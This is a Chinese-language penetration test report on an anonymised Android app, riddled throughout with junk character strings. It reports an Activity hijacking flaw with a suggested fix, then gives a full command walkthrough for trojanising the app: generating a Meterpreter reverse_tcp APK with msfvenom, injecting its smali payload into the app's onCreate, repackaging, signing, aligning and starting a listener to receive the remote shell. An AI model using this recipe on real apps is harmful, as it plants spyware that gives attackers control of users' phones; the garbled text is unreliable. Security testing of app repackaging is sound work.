原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

2 h. ~- L/ O* ~2 {* ~- G6 @/ e5 Y

! J/ K0 x" F' u0 V/ ^! i; T, i * p& V4 y: o4 y* S

. o6 n6 x. w+ p; a ' C4 Y5 a4 s$ h5 ^

( k+ N& w3 c! l1 J* V 文档编号：               

' ^% q$ I) G% P, \9 v) x( C : J- i& E2 {6 @ d" ^; M$ X! @

X2 N/ z# A( U9 L9 K3 u , o3 q3 J8 T% ^& @$ s# T   * @9 z& x' F; w0 E8 _% b: m

( r1 ~( W( Z# F8 D0 n7 s! e

. v; k9 i( H# ]   ( w% t$ p3 x4 _

8 d4 q, ~4 R0 y/ e. D, y - z& z. W" g5 r4 {. S' n& u4 F0 `

8 n5 R; X; Q7 T9 F/ r 7 D: z/ c3 ~, M/ P4 T2 y   ; A0 O) R7 v6 \/ l

& i4 a+ e7 E, }) o [   " r) d; h" c: e6 {( y, e# ~

! ~3 D6 N% t2 ?# X- D* P, V+ c/ _1 H

9 r0 T6 [: Q1 _- B) f  

y. D' |/ U" l$ J4 {3 ^; [: {7 C

某某某APP渗透测试 : ]' \9 p- d# Q z$ s/ [; U

- B& t! M9 |! I   2 a" B: W. I/ E; v% H7 k2 ^" b $ U- [9 r. e0 k' H

; z2 `! _6 z; | y # T6 \8 M/ c' Q7 W: K& g& H7 |

  ! K7 H* M u2 P. i7 I ) J, ? v- e& C

( \3 ]; O' `" g0 v

& G( M9 o$ ^1 }6 B$ j- X+ P   . r, |3 V: O+ D% p- h- _3 {

& @2 k4 u1 F5 E! @: {; t

% t. Z* g6 K: K4 o6 [- N   2 U L! @/ U. s0 L

- }4 ^( E% D+ X1 Q7 p7 f 技 术 报 告 Y) @7 @, l" I9 t# Q5 ? / {; L5 X7 u6 ]1 B. p/ y" B

/ f3 ^4 u4 h) q4 }5 l

/ H$ n6 W' _$ U/ I0 [ z   4 g m& _# @+ D7 f

 

2 `5 k9 b4 ?* n Z

8 l+ Z$ `) t+ J6 y$ C   / @# G; w9 ]* C' h' H

0 E }9 i/ Q0 `: p+ \# X8 P7 r 1 z* A) [) Y" c# @6 @0 u

& u; v! U$ n- G 8 g- ~0 X$ Y$ ]0 X; q* M8 C% w! D   - N4 h3 ^) Z+ a( n3 x

' @9 D" ~/ L: W

1 H7 C6 I7 X) g9 g: r$ C6 {   : I/ j; n. C( Q. m6 Z

" Z' t, s" Z4 P6 m& R5 R0 w& @ 2 w5 O7 @+ \) P: X

& h9 f( E) ^8 P' u/ F   0 X! E% c: U* I7 E* {$ L

/ D4 J3 }7 e7 [) J3 c; u   . j2 [' Q) z/ e( K6 ?- j

3 Y& @9 R0 P/ M$ \" V0 t

' y/ \, m/ _) ^3 V' W9 f 7 u, @% v# m: v9 a+ c4 u  

# |* _" Y \. q: h, N6 G) D) K4 S

, |0 l8 c( p2 A) ]) k3 n, ^ + f3 e1 D" l% s3 x) v" e7 S   # S. u: K: L6 k2 `# w 0 T! t1 a' R4 {; Q5 u, {

X' F4 F5 ^3 X3 c

5 Y- q) @- ]" p# l8 {   0 d* ?4 C* {# P" E7 Z a

: L' h7 Z6 Z. g4 u1 b: q ( c& D. Q6 Q5 a/ M3 j. b

  ; H6 \ O! w8 ?- l1 g

9 ]% d6 [$ n& Y# q, w: ]

" \0 ^" L! N6 `9 s# d) J5 C 1 l9 ~4 C+ Y- g6 \4 w3 }7 ^* S# J   s3 b. j" O& s7 e

5 @6 x% ?& F+ G9 y 4 Q6 V: Y6 |) p v

2 F. O! H# Y7 Y, i   $ H# x8 J9 P: @- c6 j

! X8 T0 P0 y, S$ v0 f# S; s; D   0 h1 E9 G# o& j3 v: P9 t

2 N' l( Y: b) ~( | Z1 T# I& T! Q 9 A6 w* q3 `$ v5 t( R8 A

$ I [' `' i* L6 V% X8 A" W   0 J# o" w2 `7 j* m) A3 o! t , ?$ Q _+ y: ?' P E

7 j& T' ?& H" l" [& D" M i

( z+ o; F: b% e1 R3 s0 c# [   * }4 c# |9 r3 \/ R- z6 b

: b! B8 u) Q1 z% ?

) o4 L% C6 r2 W1 p7 j8 s- e3 X& T- N   7 g, s! Q( p+ r9 ^5 y; e1 F

5 c& G0 k6 g& I7 T   % L% [% `3 Q; T( ~% h- Z3 V T9 E% [

$ m; O) R" D/ X8 F- t# r

# ^7 k9 O! r3 N: {# s ; P4 N1 |! _/ e5 h 二〇二〇年 _7 I. D1 B1 a* w2 o3 { L4 j; f/ o8 S

8 b5 d' P7 q- s2 O

1 W9 U M# i% p
O: H6 j" c/ [9 g/ d $ U3 E O1 R& Q+ e. c: i $ m% O+ c7 o1 @, {8 z5 a" N 4 B7 C; ^3 s4 j+ u: d

* ]6 R( l# @* k e9 L# X$ x; f " X% J7 L7 k' f2 H) C

. O0 _0 z2 H! J + P# j; F: Y8 R/ w7 F- V' j; j# V

目 录 ( D( Y# p5 z) K* s# t; d* a

7 c, @: Q: E8 D0 @ ) L0 w5 A7 ~: ~" d9 ?) p. w R+ a 8 N0 |6 F& Q8 y/ I0 r

$ @3 k! s5 C$ T* ^# @& W. \, ~   0 w! ?9 R: m$ l; J; Z- ]

# } E0 c! L' j# Y 1 概述... 3 . ~ z+ F, y; c1 P

' `/ |* Y0 g8 X9 G! c- a5 R

" [+ F$ ~5 h8 `; f! s 1.2测试时间... 3 : D( k+ ] m8 w+ G9 @. x2 F. P & z. L# S/ U& l( G) o; a3 [

* h& t* S9 ^! i1 w# t* j: Y% K, _

1.3测试对象... 3

1 W7 S2 U7 [1 n5 ?

5 h! H4 W0 c/ r/ w" ? P 1.4测试结果... 3 ( t5 W% h* p, D' z+ h 8 _4 r/ K4 |9 B* ~9 z

% ]+ q: [) x; A- r! h

2 检测结果... 4 / g r8 {4 |# L5 t% z

4 y0 f- D( `3 Y. Q * I2 S8 {% h9 Q4 Z

/ H3 {4 M3 _. H - F8 E5 Z" n4 T$ H6 s 2.1 某某某... 4 ( a. D. s8 N+ d, J) k : [! M' z% r- c

% E' W: Q! U4 V, X4 }+ g

; J9 \% f# y; L 2.1.1检测目标... 4 * e9 W2 w, V8 Q0 y

- o, [5 y+ L$ j9 e6 o 2.1.2检测结果... 4 ' ~( z/ Q/ i6 f6 I; \+ B

3 i* l' [; O: F5 e4 _ 2.1.2.1. 4 & Y0 H: F1 D5 j1 I ) N) G; l. A4 T0 W

$ w. Z) r1 ]0 m, a) k9 V, G. j# y

, U# T, x/ n6 a9 {. |+ a 2.1.2.2. 6 . l" y0 _( C& z$ Z. ] & Q" F' r- ]% Z

$ B* {5 m7 B+ L$ @- w( j& x' U* O0 @ . t: g6 Y; q' t

* ^) y9 p9 b% y% W- R) `% h3 c 7 G7 A% M: Q; v* H6 J% Y & o/ q6 z& Z* A' T

" z1 k) `( `& T* ^. T m. Q( @0 E$ j 8 X1 L9 X1 Z: `* ^, ?) C3 n" q& f7 G6 K
L) d; K" T* D- q* u& Q

! @+ B7 @$ {; k$ O' w# f% z5 L 1 概述 , _. }& B7 ]0 h1 J" h4 N

$ H$ s1 j, V2 _& u 4 h! P: \- |# H6 ?0 ~5 u

1.2测试时间 " b# w* Z! d$ R1 P : N( T( I' b; \( E+ q' h) _

1 m! s6 y2 N/ w3 X0 ~8 w4 G6 C+ R% g c/ \: f/ F, [8 C; A! W' o( L7 u! T+ O5 D: W) U9 |- j$ C5 [( Y: G0 M2 ?; ~0 s9 l( ]/ a1 ?& S1 B0 o& i* V7 s1 }4 h; _: i$ H% ^9 R- u' R9 y# w5 b2 Y8 K5 q$ R" u% r' A* a e* p# M+ v$ _; s3 y$ y! F+ _6 U" _( ?2 N" {' Y4 q# K- O- {4 B/ Z$ d* {+ d n8 U* O+ O0 g T: J$ f! W4 D, E7 J' b1 T! P' Y6 o! U$ x4 X" Y7 q! Z, p; a; M, {0 v0 s, {$ I& {' [5 C. s( i" s [$ O n1 b: G( {/ M' y1 m: f2 a0 x4 G u/ V* A0 C7 j) ?5 p* Z) S- a" A6 p; d* X$ u+ X9 [8 V9 z) m- ~! G3 h- {

" h" B, f% d8 f: Z, [4 {/ T! M # R3 T8 B9 f- d. z9 q! b( z9 Z% C 2 Q! B, `) g2 }+ v / P' X* t" U' j) P( U, p$ B% ~ 渗透测试时间 + h8 _- L! x4 | % Y- W# G7 c3 K/ c
) A8 K; O! q$ N- B7 K : r ?/ [" M2 P& Y5 s 起始时间 8 [8 G/ y. b0 w$ Z * U. D4 Z$ Q4 |1 k8 t+ Y	) D# \9 G" e t" y2 [ A 2020年4月6日 ) S; f% N2 U- T9 j% Y0 ] i" g. N
) x% `" H2 j% `. i 结束时间 , b/ o) d" U7 Z8 t) e* @* V # ~* F0 e7 X8 Z, }* u/ c" h+ M	& m: d6 [; a) r d1 W/ l 2020年4月9日 * _5 q7 Z5 L& U' I- X : U ^# Q, x( g6 m% `

+ ^- I& E4 @# P% x: V3 _+ m1 r p, i# C0 A0 ]3 ?

2 R z) |+ R* u4 u9 B2 V4 }/ K 1 S, E/ C7 s' E. t" U& O 1.3测试对象 ' i- k1 m- h! _$ n# i

6 \- q4 ^! r( P( e1 b- ` / `! c$ Y3 ?# }. C8 R( Z- x* I

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 9 ~. t4 X j) I6 v K3 i3 A9 ~

8 f) C' U- B% B 表1-1 检测对象 - \- ?% \& _) \6 n( d- B ! J( U, G: w+ A& v; _, E

) U3 N. a: E+ E3 s" P7 l 4 j! h9 _3 p6 r4 J0 r) M! Q/ J4 f/ e) m. A2 }/ Y6 E/ H9 V" _6 Q& ]$ I/ s8 S) h, q3 d9 X- N$ d! l* u( h& |" J& b6 s1 Q" c6 r; R: e6 h1 x. @/ X' b3 R1 P4 [( ?' L- I9 V- R& h5 y0 T( B$ @- R" i0 T3 T- I2 @& M$ g& n: F0 m+ o! U1 U, F, _4 i- ]$ e! K$ C; `) @8 H, A* l. O# d2 V# ^) w9 E) I# s4 ^4 B4 o, z: i0 y9 x* S5 ~; f% Z/ z0 S" } |: z9 P6 b7 l/ l Q9 p" V( f7 a0 X$ P- y2 H/ {1 e

" ?& i6 l' U; v/ G( F6 \ & v3 z4 `5 H- K% T! A+ R/ G! w3 g& ?8 [ / K8 j9 q! U5 n, N$ A) { 5 T( c; b+ P. m 序号 9 p: j @, u0 V) N6 k4 u9 E4 c	/ l1 B+ _$ D: M* X . X, }) h+ X3 v2 G. F5 g - d6 Z+ S S7 p; x9 h3 T6 U% i7 Y 测试对象 7 z3 \9 _+ h3 Q* J2 n0 u0 s1 ~ 4 e$ a, o/ Q! q) S; z, B7 u . y! @7 y4 i1 C, z4 L m9 F	3 S' R2 O4 T* i1 l5 u4 z 1 S! s# [2 z0 q4 ~& i+ e. L5 J3 U, X - [' L" G. X4 f2 {+ L 测试地址 6 I$ C1 n# R+ q! M , n/ p2 r3 p% q/ \- q 3 Y3 b) C' f5 E! q* C	. j+ g. e* a7 v8 x ; V* e, a) E( w* O+ ^3 r 安全漏洞 . T0 X, V7 n: V$ u) K" ~, [ + B- {# N- d. q8 y. n' ?1 B- R, f& i
_" c* F: K3 U8 P; j4 |; @1 \" r . c7 b* L( L3 r, w6 h * q% O5 K" Y- c) p3 l* t 1 # F9 q# ~2 \' ~2 T$ u ; v! Y# ~6 G4 Z& u$ l" J5 f/ ] 0 h4 V, D+ L3 i ; Y$ z; r6 w7 ^0 |1 \	! Q4 B: t5 P' F$ d* ] 某某某安卓APP u; @" w& w4 W; q( e- l7 | : o6 Y# a" B3 D/ ?( d/ b0 P# B' P	- i1 j0 Z D, y" k* g- d6 S5 a & Z5 Q2 `# L- e$ j   - {: S- n+ u# M- p/ ` 1 t. B; D& H4 c% d $ \* ~1 V w% L1 q" i7 L+ J/ H" l 0 s: d/ ]* [2 v, M4 C	. T. H) \5 A* L' h q+ y % f2 a: q2 \) _0 i3 Q 2 9 U+ B" ?( q% U- Q6 A

, w2 ]* G u7 X: t

$ ~" f7 d# T, _. J1 ~ - P0 ?" a& D( K3 x& k, U7 {' b. w 1.4测试结果 & }# h5 q3 V/ m( X {! ` K$ R . F$ n+ j& | R, k2 |# x

( i; t7 a2 M5 c 5 ?7 P) {) Z0 F/ f

2 I- L% ]$ u) e3 ]! X% _ + `% O; x6 U7 }9 A W" F5 C 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： ( V5 H% {8 |# L4 h! q! O- w0 T9 D

$ I! X. i" M) v6 l) h! L% x & ]4 p1 \' H( t* H

  0 K1 a& @0 O+ x. H! k

* M7 `3 }% V; w7 h

9 w) M6 k, S- t 7 {& q3 q: h# n. }& g, h* G# d; N6 N5 Y5 I0 ~; d. V* o- d+ Y' \( a) v# k% m" [% H) e( o8 R% n/ z( n* D. K7 b1 }) |2 @$ b1 k- {1 @" o2 ^! A- m9 T7 i2 y$ ]- x; M* U$ X ~6 r# A1 J, C2 O) P$ J" X" M6 b. j) s% |. m; Y0 C6 V+ W6 s0 i" e3 i5 ]- m9 ~7 W; d: M* r# u& U& W; g2 w0 t* I2 y% \+ n! [! A \$ G/ m" N. J% h* l/ ]( W7 u' |. Q6 }4 u6 f. v& {6 F% y0 ]: a i9 ^1 J$ J9 D5 D2 G% F% p. t8 t+ u: }8 ]$ B! k$ i% v* H5 Q4 @2 X6 H( h" M! t* J H |9 s* l2 G. j: q# e; O; R! k4 q% b7 J; \/ h' J: [ _: L) o6 V, o2 t

- K( {2 l- o4 u. P5 p 1 ]3 u9 s, a( Q( I2 p( ? $ d6 V, Z+ b, P: @' a6 ^ % s r" R: \* {" `+ A T 序号	! p0 p4 m, b1 t8 w( P e 6 Y/ Q, {, [' v8 D8 u " ?9 ]! z6 X1 T 系统名称 # v1 x+ I8 d7 v' h1 P5 l; R% k# h	6 ~! v7 @) I$ ^ $ G) R x2 D2 j 漏洞名称	# ?" I+ D( `4 _6 w: q0 X. v ! P/ c7 W: t k* g' w8 u+ s- U 0 j2 {0 } y/ x+ O& @ 漏洞危害 & f( u1 b3 s4 L% h$ ^	; f- @3 s! @2 m ) g. t- Q, J% R% b; S 修复结果 3 \6 B$ I& @0 a, K' ^ & T( ~% b, L1 U( d
, ^0 E. _& ^7 g1 E3 f0 x # k: j4 y6 p4 }) w. I7 J ) ^$ m: N/ C/ @( R+ B& ? 6 j( ]+ Z& w7 l: T3 i, L# }8 \- s 1 J/ f: i2 m$ a z . v- `2 e: \& K7 z! G . D4 j: \1 s( Z% z/ e2 j	6 O. [6 [9 }8 y( l ) p9 d0 z4 q* F& w. N q0 I 某某某某某某APP % \2 ?/ Q1 \# ]7 S# e, i ' ?; ~! L. K9 [ c% a 1 j8 J* ]( R+ W. ~	8 e% [8 Z) T2 w; s) |* J2 K! ^ " ]) g: x5 ?2 a z Activity 劫持 1 l, w3 N* U' M % Y& ^ ~( z5 K$ G, V% M   & V9 N0 {# G/ z 6 S8 r P0 m% m7 m3 H. T + L' U6 o* M+ t; }5 m	7 u: U2 O4 g+ {& }5 T ! S) G# D3 T, V# C# W0 O: V; b 高 / c! J9 }9 m6 w% h, V# \- }* r) ~# X 2 U Z; B9 g) t& ?; U7 x! o 9 W) ]( Q2 t* s6 R r	. p5 q7 v# T" M* F& u, Q + J* D0 j x& T; v* |   0 e! B, F, l% z# H ' s! s$ X+ M: N . f/ g& a8 k0 a" [+ t" L7 w 7 I* V: Y/ Q7 v1 X: q8 O4 {" H$ [8 s) @
0 V+ c! E& G8 G 2 9 z$ s2 t, J3 }) s H / e2 C5 O9 V4 S# M 4 a6 n0 T: r: W1 E: `% f1 t( \	" t1 a5 d, J' j7 K5 H& [) R( y 某某某某某某APP $ u, S% }- `0 ^& Q) J) u! p 6 R; j6 l; [ m + m" s3 ~8 Y5 N* o0 u" E$ X	5 o$ Q) Y9 x9 b& y/ F% }' W 5 I0 r6 X$ E- }* Q4 W 6 u3 {, W( ~. Q( e 反编译二次打包捆绑木马、篡改APP代码 4 V5 h/ \$ ?* b, ~$ U9 F 0 J& g+ [. W8 ?$ y& Y ) ?4 f; F: R0 Z7 z6 r	# W9 Q) J6 C7 z7 ?& Y( j* [ 4 S0 f5 b6 i& B( Q3 a 高 , `; H+ J, y0 @; F; A7 R	5 e. d. Y4 B4 P- x J 3 K3 N. `- P2 K- ?, V6 S7 T 6 L2 X: s: _% n2 O   : o* L% B: Q4 Z6 m

# \8 _+ B5 _( x- _2 L# T: f" R- @$ `6 {

0 o3 z8 a" z6 O) E F

" c. L/ Y5 q, \% V8 B; m* S & e- A a v+ _: v/ {   ' L. @1 s' z* E/ k+ A4 _: }3 h' F' W

$ ? O9 b2 | F ! O: `0 o& j6 G2 \$ c

1 r: q) g" M$ ^ ; Z9 t) A8 B. A4 ]5 U+ M 表1-2 测试结果

$ T( d, l" W' E

' H9 D6 ~4 O8 G: o0 ~6 |' s 8 B: N$ S0 Q. O2 ?) C! Q# g5 P3 D. M   0 F2 |. U3 @1 r. s3 |6 V1 y & w) F; W9 q# M' A

" J; i1 _, }/ P' m; ^ & `6 P6 _, s/ k7 ]: E8 u3 N( m, Z 2 检测结果                    * h% b; @, g' l9 c

2 A) h7 X* k. K3 A! f$ M 2.1 某某某

; a. l Z( Y7 @* C6 @- e 2.1.1检测目标 7 J, ]6 g1 _: z4 z1 I

! _1 {, K ]! Y$ ~7 A$ Y

. [8 o; \' \ f 8 g: l$ i6 ~- D. `1 T/ a6 ^ 目标地址： 某某某某某某APP $ m: `( W) X' V0 S& ~0 N9 V

2.1.2检测结果

# V" _0 `4 X" J' I/ S# R

( K, z7 ~# s0 d9 } 2.1.2.1 0 K- o$ D/ W2 d# F! ~+ I- m \ Q6 f4 h0 y

8 M( I! j! P3 e! X* K- T ' `. a: b O3 g m; f# p# W 漏洞链接地址：某某某某某某APP - m5 z+ ?; @8 w" K9 T) `

9 R- O0 s1 Z, M; S+ `

1 |4 a6 O6 \' e, o  

/ O0 J* `5 T# w0 P3 n r, x; S2 @+ o# q9 T

. K6 z2 N* f# C- d4 \/ Q# H! a 漏洞分析及取证： ' O& _! U4 q/ O/ w4 F - ~* ^4 t. |/ X

" a- K9 s4 f$ f Q                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

h' ?; E' z$ x

' E1 K; k( Q* C' r9 K( N3 e1 O% j      : f2 G7 o7 e6 e8 x

' V; [9 j/ T6 X; }8 l

                      % E. q) y4 _/ }

" ^/ G Y% U6 a6 g3 @ 9 j2 }& H& f" v1 T% V6 I5 s

) W* `9 s( [% c b; E

: H; I0 S1 ^# V# R% i2 ~; F' `7 w# {- o; g

( i+ n- X e0 G x6 a; N 8 \3 B" z t2 U

: O# w% b1 r) n: |0 u' e5 A! _

; L8 T% w, w1 o4 e/ k7 l, z; g, o

漏洞危害：高 5 ~6 C E0 F q7 r6 N0 q: b6 s 2 ]; c( T% b' M! M b

9 ?7 o" s+ Z& ]5 s, K

1 L* a# O; T. |2 x, V% \; t9 D1 X5 U1 r9 P k0 @. u/ \' N w: E" I" y a; n6 K: j3 L( [; U6 L" O# z$ q+ Y: D. U3 F8 a# F' O* O: k+ x% h* Y, R" @: P$ v. Q+ I2 U, g- w% F8 Q* {- x2 j6 D/ _! _' k) c6 N. B- |5 s4 m* b" w d! Z3 Q; C p9 x* y& t& z7 Q7 C& z$ g! `. _9 c6 y: J6 K% r" e7 G, Z

! O2 e7 X* x* S* {9 ~* P0 B 4 G2 ]. j5 X# l4 @3 ^ 2 ]0 X8 k* u5 W0 P. S9 V 严重程度 3 a# c' ?/ S; H$ A , [) B' z# O" |4 E" L/ _	# h' M+ l) K2 O/ K * q. _1 Z( G+ h6 r+ S $ q2 I6 x ?. P2 G& b % I9 k; K0 j" H0 t* ^4 |- d 高 + e* ~: K6 N) [2 q% M9 U	7 A# y* y, C4 w' _& x& s ( S+ J h, r, T! u2 X* V 0 F. O0 y9 m: v4 o* g# ~% j; v ■ $ K6 I5 h0 t8 i. z/ R% D 7 a" a( Y. m- D$ V$ B& Z % i2 c* I% N5 a	$ h) o" E; j1 o 8 o3 k$ I6 M3 {# g / _6 S1 [+ r% F+ E' v" { 中 & ]8 D2 O( G! v$ y" h ( s9 ? F8 I7 @8 r8 l; g: I9 H	- Y o" B, R8 s+ B- P6 G o 5 n' f) o+ Y. ^- j " e# B& i7 U9 a+ h" M; F   , S0 c9 ^; X: `+ Y$ U! S- O3 } , }9 r( h- L7 V# Z- s! O2 f	9 i) v$ B) M$ z* w4 q( \ 0 ^" v) ~ A8 A2 X9 y. k: | 低 " A! d3 K7 ^4 F/ R7 I! l2 j	, P: W% \$ B" m3 @2 ]0 G! g   - [9 d: c. ~- ^* a8 c/ t

" n9 N, ~# a1 }" ?( t" ^' ~

# L. }( U" \$ o' g: a$ k   # ^- N4 \3 }4 e9 P8 k

( S5 w# Q, E/ B- S4 y2 k 1 U/ B% o! h1 O7 B5 R8 O$ y8 e; P# A

# y4 u5 f e: g8 L 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 : Y6 U" e1 F5 b/ g E! {6 _# K% {) J7 Y% A8 S

6 P, {. v6 k) v% D: N4 g 0 Y3 P& R6 L" ^6 Q( Y/ D

          $ M6 t8 j* @& {8 {; ~& O U' n ; i3 L1 q# ]0 E

& ~7 N9 \* }1 c+ Q* o4 H

/ q# _, O. z. r& _. B   # E; }/ W! T4 }3 R+ ]' S% T3 V, ~( @0 _

+ A6 [5 r8 t7 }+ A" n+ i7 o: e

2.1.2.2

漏洞链接地址：某某某某某某APP + W% z8 |( G- e6 r6 Z/ @ % ^; }2 y% u8 r3 Q: N `$ `" |3 H; D

5 X0 n u/ G6 v; _

! G6 ]0 u* \- {: n3 ]5 C0 a8 v 漏洞分析及取证：

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

J& G3 D1 P+ ?" ]% M ( z6 f! H3 T% t# b v$ n

1 `0 @. u4 p+ | 用Metasploit 生成木马 apk " N2 F7 u. d2 r 7 \' k4 V+ _$ X: u: N% x

k# `2 v& J* F3 ^ ; V) m+ y7 z" c( T

6 G- F: y; f3 ]* ~. b4 q msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

反编译目标apk和木马apk E3 O( v* p) x7 u) e

. N; d1 V) L U6 c

5 ^% X# N. G5 _, j5 Q2 p- { ( b" k, |: j3 N) u apktool d target.apk
1 ^5 y( D6 |/ N8 A0 } apktool d cockhorse.apk . N' }6 M: O# g' H / R- s! W6 f6 K5 r

+ W7 ]0 i p8 I$ d5 l" L& F 木马 apk 注入目标 apk & O2 u) w3 q% i/ |' r ) R6 C- y8 I. U( N9 ^0 V

( g' o: u d" D+ E2 |. s 0 z7 m' Z% U: C1 K1 w

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
, n' R6 O$ H$ X2 [) D. @ invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ( h6 d ]6 K- w+ w5 ~ # D/ \ I* p4 v

4 c) S7 V+ Y% |

k+ _( N& @/ v" m7 a ! m/ k5 A2 | r 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 - j8 b1 z* b$ e% m$ r

7 E! j& R" A) @- G' Q ( V3 c5 |; e( u# o

1 F7 Q2 [( o4 | * S/ o6 G Q1 y& i6 N 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 0 k }1 ^: F! X: X$ }7 r0 D. b ; W5 y4 R8 y1 [+ Y# l. @

0 `; \$ F8 W3 w4 F* G4 v

$ @% y1 }9 [8 a, R) }' _# w `- k( h 4 `, ^+ H& `! b# \6 Q- b 回编译生成最终 apk 3 K; b' v- D. k6 Z; p a! s* L. R & y0 Z. |0 T) @3 V, u2 W

: m0 |, a5 M( w) {' [

6 |" n7 q6 ?/ J7 E, z, Z% ~7 w' X - Z% K( b' e% ^ 重新打包 L: R1 j; `6 U: Z5 o: n R3 P . i0 H3 r. b/ ~% {

# C( f9 k: Q! ~

5 |* }0 c8 T! S 4 i# i4 D. `" E, @5 c2 { apktool b -o repackage.apk target_app_floder ! w3 W! ^( S+ t/ J3 K 7 v" e( I! D& R. e

3 A* W/ f x/ Q" z5 g8 I # t. t0 E$ |9 ?

- i5 `1 B. Z/ o : t; g/ z6 m8 G* L. C4 W) K3 ^) O 创建签名文件，有的话可忽略此步骤 % W2 ^: ]) `: v1 _" d1 q 9 U4 ~, M4 k6 q8 a4 F3 a9 V+ B( i( \

4 @( E2 t! G; Q& f/ o- \ keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                0 x7 X, v, H. K

+ I3 l7 s' v" t1 L, [! M1 H

' w) t" z+ S3 A- o% u. B4 m 签名，以下任选其一 - {( b( c+ ?1 o4 f7 @ X

4 R' `' A0 z) J

jarsigner 方式

. F, A4 H) T/ q. L. |" p 4 u( v: K7 e2 N& J

% n- s- f$ y# J* L jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ' q2 [4 b3 c! q

apksigner 方式

) J+ ~3 T; d& u9 b9 G apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 8 d3 h# ]0 B7 a+ @2 {4 A

s0 t. u6 @1 `' ~4 A" g% e2 T ~

: G% r* [; I+ _0 Y m 如需要禁用 v2签名 添加选项--v2-signing-enabled false / z( `& y) s: c

& b4 e; Q9 g$ n* h/ O ) ^ R! R8 `/ o! x/ E! W8 z- G

" e+ E8 S. Z5 B L' M% h 0 j5 g! L+ m5 @3 f 验证，以下任选其一 ' _& b; ?" r# } ) q) j- N2 h* U% i9 a1 l% @; Q+ h

; C6 s) F& V+ R, L9 S $ A! J# Q; Z2 z( k3 t* G

# ^% O, i* h; s1 N- k jarsigner方式 7 R$ j# h# ?1 [$ V7 F% H' t. P4 P

; n) X+ V6 a9 n5 X- x/ p+ q - A( T1 t* ]4 F

$ a: F& C* V- `+ d- ?( r8 c7 g ) l" R% E3 Q$ d2 {) |" u jarsigner -verify repackaged.apk 9 m! R) i' J- o: @ K0 @

z. b7 J: ^9 t' x7 c" P( b- q ! ]2 H; Z. T B, @

% b5 j" i G" a4 t+ P5 V6 U' x apksigner 方式

- J! ?- S: d. F

2 K. H4 r( ]5 Y" G apksigner verify -v --print-certs repackaged.apk 9 W K& B) q8 F+ u F* L, ^ * h/ v: Q8 u2 Q! [6 t

5 e% j ^0 e4 J+ B. r* a

* B9 {* Q4 X) |4 ]7 s keytool方式 / D4 W5 r3 C; q; L( }1 E

' x7 K: w; G+ t. T5 v: [ y0 k keytool -printcert -jarfile repackaged.apk ( `8 S c3 [- u

对齐 + a5 n5 D; ^- Y- `, ]

- z) B7 k3 x$ ]' K* G5 Q& W( L q/ f0 E, f- F3 y

6 F# c) b) s7 S8 B# o( R( V# Y 8 z7 e" l' b( i/ ^$ r2 z( r7 | 字节对齐优化 ! B# j/ C7 F+ O- e& t0 L3 V . e, W4 t. Z( t0 J# y" E2 h

: c5 x6 O/ q$ i& [8 r 3 D) N& b) P. Q- \ zipalign -v 4 repackaged.apk final.apk 1 Z9 C% s5 H; ]- F) \

3 v/ }3 n- T, ^, D; R 7 n- \% T$ X; {

9 {" X* D% V" T% j2 n 检查是否对齐 ' ~1 L8 I0 Z: e3 K) S* i

0 q. T3 ?3 v% G, j2 K q9 m$ ]& Z* y# f* x

6 X7 E0 F4 Y0 m/ i j' u" [1 e/ B- e+ \ 2 [8 `1 j( e9 o, |( q0 S zipalign -c -v 4 final.apk + v( V, }9 d* ^6 k1 x, m: n

e0 l5 U2 Z/ t- B, w

% q1 X" g7 ]4 ^% k' _( W / G) m! b1 y# Z' N/ L7 v& o+ V& D 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 4 @5 C; X1 \" o% A, d8 ]% x

( U( b) V, E6 U. F" I7 h7 U5 Y

启动Metasploit控制台，配置参数等待上线 & S# O! c& D4 ~

5 f4 v( O( L2 C. a. z! v7 e

在终端依次输入如下命令 . @& v+ s$ C) z# l - P+ J5 i6 [6 N1 E4 z4 f: D; c

' h$ E& C7 R4 E- ?

p; J6 J- y3 o. t( q2 h msfconsole " ?0 m2 i9 ]8 q7 z0 P* v, b6 V

" O7 e4 X' t2 Z9 I' f z7 Q, A" |

, o' o4 l2 p- ^9 P4 b/ u: j7 ~ use exploit/multi/handler 1 R3 N& K9 y4 |0 b6 j

0 k, t9 [" i1 P $ o. }. a8 b! N: O8 q

. U8 Z+ n; r# T) G set PAYLOAD android/meterpreter/reverse_tcp

5 ^! w$ m5 |- M5 z# G7 y+ s7 W

set LHOST 192.xxx.xx.xx ( C4 w# k% i5 A6 M- O7 L1 M

S+ C4 V+ J5 l7 b

set LPORT 4444

3 `/ i- C, ~+ s- _

8 ?! F& O6 h+ X exploit 4 y1 P, I `- E( A: G$ Z, h

) f' {/ ~! }8 _& S

2 i5 _: Z( o, m* @& b! W; L% Q 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

0 q0 A2 {5 w" y) Q1 f8 S

9 f+ s" e5 M2 k* O* H- c % z- G/ r/ n; T) a4 Z 漏洞危害：中 2 h8 s) X( r( q0 x" x

$ o7 g, G W) m6 v: V8 d* x. P

